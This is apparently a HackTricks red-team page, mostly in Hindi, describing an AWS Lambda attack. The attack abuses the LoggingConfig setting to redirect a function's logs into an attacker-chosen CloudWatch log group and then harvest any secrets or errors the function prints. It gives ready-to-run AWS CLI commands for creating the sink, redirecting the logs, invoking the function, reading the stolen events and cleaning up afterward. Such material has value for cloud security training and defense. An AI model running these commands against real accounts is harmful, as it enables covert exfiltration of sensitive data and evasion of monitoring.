AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

lambda:UpdateFunctionConfiguration के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group पर redirect करें। यह code या execution role बदलने के बिना काम करता है (ज़्यादातर Lambda roles पहले से AWSLambdaBasicExecutionRole के माध्यम से logs:CreateLogGroup/CreateLogStream/PutLogEvents शामिल करते हैं)। अगर function secrets/request bodies print करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं।

आवश्यक अनुमतियाँ

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (या मौजूदा triggers पर निर्भर करें)
  • logs:CreateLogGroup (अक्सर आवश्यक नहीं होता यदि function role में यह मौजूद हो)
  • logs:FilterLogEvents (इवेंट पढ़ने के लिए)

चरण

  1. एक sink log group बनाएं
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. लक्षित function logs को पुनर्निर्देशित करें
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

इंतज़ार करें जब तक LastUpdateStatus Successful न हो:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. sink को कॉल करें और उससे पढ़ें
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

प्रभाव

  • गुप्त रूप से सभी एप्लिकेशन/सिस्टम लॉग्स को आपके नियंत्रित log group में पुनर्निर्देशित करना, जिससे यह अपेक्षा टाली जा सके कि लॉग्स केवल /aws/lambda/<fn> में ही landen।
  • Exfiltrate उस संवेदनशील डेटा को जो फ़ंक्शन द्वारा प्रिंट किया गया हो या त्रुटियों (errors) में प्रकट हुआ हो।

सफाई

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

नोट्स

  • लॉगिंग नियंत्रण Lambda के LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) का हिस्सा हैं।
  • डिफ़ॉल्ट रूप से, Lambda लॉग्स /aws/lambda/<function> पर भेजता है, लेकिन आप किसी भी log group नाम की ओर निर्देशित कर सकते हैं; Lambda (या execution role) इसे बना देगा यदि अनुमति हो।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें